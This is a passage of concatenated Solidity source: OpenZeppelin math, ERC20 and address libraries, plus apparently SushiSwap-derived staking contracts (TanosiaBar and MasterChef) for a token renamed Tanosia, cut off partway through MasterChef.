function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// SushiBar is the coolest bar in town. You come in with some Sushi, and leave with more! The longer you stay, the more Sushi you get.
//
// This contract handles swapping to and from xSushi, SushiSwap's staking token.
contract TanosiaBar is ERC20("xTanosia", "xTANOS"){
using SafeMath for uint256;
IERC20 public sushi;
// Define the Sushi token contract
constructor(IERC20 _sushi) public {
sushi = _sushi;
}
// Enter the bar. Pay some SUSHIs. Earn some shares.
// Locks Sushi and mints xSushi
function enter(uint256 _amount) public {
// Gets the amount of Sushi locked in the contract
uint256 totalSushi = sushi.balanceOf(address(this));
// Gets the amount of xSushi in existence
uint256 totalShares = totalSupply();
// If no xSushi exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalSushi == 0) {
_mint(msg.sender, _amount);
}
// Calculate and mint the amount of xSushi the Sushi is worth. The ratio will change overtime, as xSushi is burned/minted and Sushi deposited + gained from fees / withdrawn.
else {
uint256 what = _amount.mul(totalShares).div(totalSushi);
_mint(msg.sender, what);
}
// Lock the Sushi in the contract
sushi.transferFrom(msg.sender, address(this), _amount);
}
// Leave the bar. Claim back your SUSHIs.
// Unlocks the staked + gained Sushi and burns xSushi
function leave(uint256 _share) public {
// Gets the amount of xSushi in existence
uint256 totalShares = totalSupply();
// Calculates the amount of Sushi the xSushi is worth
uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, _share);
sushi.transfer(msg.sender, what);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ERC20Mock is ERC20 {
constructor(
string memory name,
string memory symbol,
uint256 supply
) public ERC20(name, symbol) {
_mint(msg.sender, supply);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./TanosiaToken.sol";
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to SushiSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
// MasterChef is the master of Sushi. He can make Sushi and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SUSHI is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SUSHIs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
// The SUSHI TOKEN!
TanosiaToken public sushi;
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public sushiPerBlock;
// Bonus muliplier for early sushi makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
TanosiaToken _sushi,
address _devaddr,
uint256 _sushiPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
sushi = _sushi;
devaddr = _devaddr;
sushiPerBlock = _sushiPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock =
block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSushiPerShare: 0
})
);
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending SUSHIs on frontend.
function pendingSushi(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier =
getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward =
multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(
totalAllocPoint
);
accSushiPerShare = accSushiPerShare.add(
sushiReward.mul(1e12).div(lpSupply)
);
}
return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
